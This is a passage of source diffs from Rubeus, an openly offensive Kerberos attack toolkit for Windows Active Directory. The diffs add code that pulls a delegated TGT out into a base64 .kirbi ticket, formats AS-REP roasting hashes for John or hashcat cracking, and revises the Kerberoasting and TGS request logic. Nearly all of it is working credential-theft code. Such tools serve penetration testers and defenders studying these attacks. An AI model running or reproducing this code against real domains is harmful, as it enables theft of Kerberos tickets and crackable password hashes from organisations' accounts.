KRB_CRED cred = new KRB_CRED();
foreach (AsnElt elt3 in asn_KRB_CRED.Sub[0].Sub)
{
if (elt3.TagValue == 2)
{
// extract the TGT and add it to the KRB-CRED
ticket = new Ticket(elt3.Sub[0].Sub[0].Sub[0]);
cred.tickets.Add(ticket);
}
else if (elt3.TagValue == 3)
{
byte[] enc_part = elt3.Sub[0].Sub[1].GetOctetString();
// KRB_KEY_USAGE_KRB_CRED_ENCRYPTED_PART == 14
byte[] rawBytes2 = Crypto.KerberosDecrypt(authenticatorEtype, 14, key, enc_part);
// decode the decrypted plaintext enc par and add it to our final cred object
AsnElt encKrbCredPartAsn = AsnElt.Decode(rawBytes2, false);
cred.enc_part.ticket_info.Add(new KrbCredInfo(encKrbCredPartAsn.Sub[0].Sub[0].Sub[0].Sub[0]));
}
}
byte[] kirbiBytes = cred.Encode().Encode();
string kirbiString = Convert.ToBase64String(kirbiBytes);
Console.WriteLine("[*] base64(ticket.kirbi):\r\n", kirbiString);
// display the .kirbi base64, columns of 80 chararacters
foreach (string line in Helpers.Split(kirbiString, 80))
{
Console.WriteLine(" {0}", line);
}
}
}
else
{
Console.WriteLine("[X] Error: Invalid checksum type: {0}", cksumtype);
}
}
}
}
else
{
Console.WriteLine("[X] Error: Unable to extract session key from cache for target SPN: {0}", targetSPN);
}
}
}
}
else
{
Console.WriteLine("[X] Error: Kerberos OID not found in output buffer!");
}
}
else
{
Console.WriteLine("[X] Error: Kerberos OID not found in output buffer!");
}
}
else {
Console.WriteLine("[X] Error: Client is not allowed to delegate to target: {0}", targetSPN);
}
}
else
{
Console.WriteLine("[X] Error: InitializeSecurityContext error: {0}", status2);
}
// cleanup 1
Interop.DeleteSecurityContext(ref ClientContext);
}
else
{
Console.WriteLine("[X] Error: AcquireCredentialsHandle error: {0}", status);
}
// cleanup 2
Interop.FreeCredentialsHandle(ref phCredential);
}
} }
} }

View File

@ -11,12 +11,12 @@ namespace Rubeus
{ {
public class Roast public class Roast
{ {
public static void ASRepRoast(string userName, string domain, string domainController = "") public static void ASRepRoast(string userName, string domain, string domainController = "", string format = "john")
{ {
GetASRepHash(userName, domain, domainController); GetASRepHash(userName, domain, domainController, format);
} }
public static void GetASRepHash(string userName, string domain, string domainController = "") public static void GetASRepHash(string userName, string domain, string domainController = "", string format = "")
{ {
// roast AS-REPs for users without pre-authentication enabled // roast AS-REPs for users without pre-authentication enabled
@ -69,7 +69,18 @@ namespace Rubeus
// output the hash of the encrypted KERB-CRED in a crackable hash form // output the hash of the encrypted KERB-CRED in a crackable hash form
string repHash = BitConverter.ToString(rep.enc_part.cipher).Replace("-", string.Empty); string repHash = BitConverter.ToString(rep.enc_part.cipher).Replace("-", string.Empty);
string hashString = String.Format("$krb5asrep${0}@{1}:{2}", userName, domain, repHash); repHash = repHash.Insert(32, "$");
string hashString = "";
if(format == "john")
{
hashString = String.Format("$krb5asrep${0}@{1}:{2}", userName, domain, repHash);
}
else
{
// eventual hashcat format
hashString = String.Format("$krb5asrep${0}$*{1}${2}*${3}${4}", (int)Interop.KERB_ETYPE.rc4_hmac, userName, domain, repHash.Substring(0, 32), repHash.Substring(32));
}
Console.WriteLine("[*] AS-REP hash:\r\n"); Console.WriteLine("[*] AS-REP hash:\r\n");
@ -223,53 +234,29 @@ namespace Rubeus
{ {
string domain = "DOMAIN"; string domain = "DOMAIN";
#if DEBUG
Console.WriteLine("[Debug:GetDomainSPNTicket] spn : {0}", spn);
Console.WriteLine("[Debug:GetDomainSPNTicket] userName : {0}", userName);
Console.WriteLine("[Debug:GetDomainSPNTicket] distinguishedName : {0}", distinguishedName);
#endif
if (Regex.IsMatch(distinguishedName, "^CN=.*", RegexOptions.IgnoreCase)) if (Regex.IsMatch(distinguishedName, "^CN=.*", RegexOptions.IgnoreCase))
{ {
#if DEBUG
Console.WriteLine("[Debug:GetDomainSPNTicket] Regex match!");
#endif
// extract the domain name from the distinguishedname // extract the domain name from the distinguishedname
Match dnMatch = Regex.Match(distinguishedName, "(?<Domain>DC=.*)", RegexOptions.IgnoreCase); Match dnMatch = Regex.Match(distinguishedName, "(?<Domain>DC=.*)", RegexOptions.IgnoreCase);
string domainDN = dnMatch.Groups["Domain"].ToString(); string domainDN = dnMatch.Groups["Domain"].ToString();
#if DEBUG
Console.WriteLine("[Debug:GetDomainSPNTicket] domainDN : {0}", domainDN);
#endif
domain = domainDN.Replace("DC=", "").Replace(',', '.'); domain = domainDN.Replace("DC=", "").Replace(',', '.');
#if DEBUG
Console.WriteLine("[Debug:GetDomainSPNTicket] domain : {0}", domain);
#endif
} }
try try
{ {
//Console.WriteLine("[*] Requesting ticket for SPN: {0}", spn); // the System.IdentityModel.Tokens.KerberosRequestorSecurityToken approach and extraction of the AP-REQ from the
// GetRequest() stream was constributed to PowerView by @machosec
System.IdentityModel.Tokens.KerberosRequestorSecurityToken ticket; System.IdentityModel.Tokens.KerberosRequestorSecurityToken ticket;
if (cred != null) if (cred != null)
{ {
#if DEBUG
Console.WriteLine("[Debug:GetDomainSPNTicket] cred != null");
#endif
ticket = new System.IdentityModel.Tokens.KerberosRequestorSecurityToken(spn, TokenImpersonationLevel.Impersonation, cred, Guid.NewGuid().ToString()); ticket = new System.IdentityModel.Tokens.KerberosRequestorSecurityToken(spn, TokenImpersonationLevel.Impersonation, cred, Guid.NewGuid().ToString());
} }
else else
{ {
#if DEBUG
Console.WriteLine("[Debug:GetDomainSPNTicket] cred == null, usingn SPN : {0}", spn);
#endif
ticket = new System.IdentityModel.Tokens.KerberosRequestorSecurityToken(spn); ticket = new System.IdentityModel.Tokens.KerberosRequestorSecurityToken(spn);
} }
#if DEBUG
Console.WriteLine("[Debug:GetDomainSPNTicket] KerberosRequestorSecurityToken request successful");
#endif
byte[] requestBytes = ticket.GetRequest(); byte[] requestBytes = ticket.GetRequest();
#if DEBUG
Console.WriteLine("[Debug:GetDomainSPNTicket] requestBytes len: {0}", requestBytes.Length);
#endif
if ( !((requestBytes[15] == 1) && (requestBytes[16] == 0)) ) if ( !((requestBytes[15] == 1) && (requestBytes[16] == 0)) )
{ {
Console.WriteLine("\r\n[X] GSSAPI inner token is not an AP_REQ.\r\n"); Console.WriteLine("\r\n[X] GSSAPI inner token is not an AP_REQ.\r\n");
@ -279,16 +266,9 @@ namespace Rubeus
// ignore the GSSAPI frame // ignore the GSSAPI frame
byte[] apReqBytes = new byte[requestBytes.Length-17]; byte[] apReqBytes = new byte[requestBytes.Length-17];
Array.Copy(requestBytes, 17, apReqBytes, 0, requestBytes.Length - 17); Array.Copy(requestBytes, 17, apReqBytes, 0, requestBytes.Length - 17);
#if DEBUG
Console.WriteLine("[Debug:GetDomainSPNTicket] Copied past GSSAPI frame. apReqBytes len: {0}", apReqBytes.Length);
#endif
AsnElt apRep = AsnElt.Decode(apReqBytes); AsnElt apRep = AsnElt.Decode(apReqBytes);
#if DEBUG
Console.WriteLine("[Debug:GetDomainSPNTicket] apRep.TagValue: {0}", apRep.TagValue);
#endif
if (apRep.TagValue != 14) if (apRep.TagValue != 14)
{ {
Console.WriteLine("\r\n[X] Incorrect ASN application tag. Expected 14, but got {0}.\r\n", apRep.TagValue); Console.WriteLine("\r\n[X] Incorrect ASN application tag. Expected 14, but got {0}.\r\n", apRep.TagValue);
@ -298,11 +278,7 @@ namespace Rubeus
foreach (AsnElt elem in apRep.Sub[0].Sub) foreach (AsnElt elem in apRep.Sub[0].Sub)
{ {
if (elem.TagValue == 0) if (elem.TagValue == 3)
{
encType = elem.Sub[0].GetInteger();
}
else if (elem.TagValue == 3)
{ {
foreach (AsnElt elem2 in elem.Sub[0].Sub[0].Sub) foreach (AsnElt elem2 in elem.Sub[0].Sub[0].Sub)
{ {
@ -310,6 +286,11 @@ namespace Rubeus
{ {
foreach (AsnElt elem3 in elem2.Sub[0].Sub) foreach (AsnElt elem3 in elem2.Sub[0].Sub)
{ {
if (elem3.TagValue == 0)
{
encType = elem3.Sub[0].GetInteger();
}
if (elem3.TagValue == 2) if (elem3.TagValue == 2)
{ {
byte[] cipherTextBytes = elem3.Sub[0].GetOctetString(); byte[] cipherTextBytes = elem3.Sub[0].GetOctetString();

View File

@ -26,7 +26,7 @@ namespace Rubeus
ticket_info = new List<KrbCredInfo>(); ticket_info = new List<KrbCredInfo>();
byte[] octetString = body.Sub[1].Sub[0].GetOctetString(); byte[] octetString = body.Sub[1].Sub[0].GetOctetString();
AsnElt body2 = AsnElt.Decode(octetString); AsnElt body2 = AsnElt.Decode(octetString, false);
// assume only one KrbCredInfo for now // assume only one KrbCredInfo for now
KrbCredInfo info = new KrbCredInfo(body2.Sub[0].Sub[0].Sub[0].Sub[0]); KrbCredInfo info = new KrbCredInfo(body2.Sub[0].Sub[0].Sub[0].Sub[0]);

View File

@ -33,6 +33,11 @@ namespace Rubeus
// the realm (domain) the user exists in // the realm (domain) the user exists in
req.req_body.realm = domain; req.req_body.realm = domain;
// add in our encryption types
req.req_body.etypes.Add(Interop.KERB_ETYPE.aes128_cts_hmac_sha1);
req.req_body.etypes.Add(Interop.KERB_ETYPE.aes256_cts_hmac_sha1);
req.req_body.etypes.Add(Interop.KERB_ETYPE.rc4_hmac);
if (!String.IsNullOrEmpty(s4uUser)) if (!String.IsNullOrEmpty(s4uUser))
{ {
// constrained delegation yo' // constrained delegation yo'
@ -44,21 +49,37 @@ namespace Rubeus
req.req_body.kdcOptions = req.req_body.kdcOptions | Interop.KdcOptions.ENCTKTINSKEY; req.req_body.kdcOptions = req.req_body.kdcOptions | Interop.KdcOptions.ENCTKTINSKEY;
req.req_body.etypes.Add(Interop.KERB_ETYPE.aes128_cts_hmac_sha1); //req.req_body.etypes.Add(Interop.KERB_ETYPE.aes128_cts_hmac_sha1);
req.req_body.etypes.Add(Interop.KERB_ETYPE.aes256_cts_hmac_sha1); //req.req_body.etypes.Add(Interop.KERB_ETYPE.aes256_cts_hmac_sha1);
req.req_body.etypes.Add(Interop.KERB_ETYPE.rc4_hmac); //req.req_body.etypes.Add(Interop.KERB_ETYPE.rc4_hmac);
} }
else else
{ {
// add in our encryption type //// add in our encryption type
req.req_body.etypes.Add(etype); //req.req_body.etypes.Add(etype);
// KRB_NT_SRV_INST = 2 string[] parts = sname.Split('/');
// service and other unique instance (e.g. krbtgt) if (parts.Length == 1)
req.req_body.sname.name_type = 2; {
req.req_body.sname.name_string.Add(sname); // KRB_NT_SRV_INST = 2
req.req_body.sname.name_string.Add(domain); // service and other unique instance (e.g. krbtgt)
req.req_body.sname.name_type = 2;
req.req_body.sname.name_string.Add(sname);
req.req_body.sname.name_string.Add(domain);
}
else if (parts.Length == 2)
{
// KRB_NT_SRV_INST = 2
// SPN (sname/server.domain.com)
req.req_body.sname.name_type = 2;
req.req_body.sname.name_string.Add(parts[0]);
req.req_body.sname.name_string.Add(parts[1]);
}
else
{
Console.WriteLine("[X] Error: invalid TGS_REQ sname '{0}'", sname);
}
if (renew) if (renew)
{ {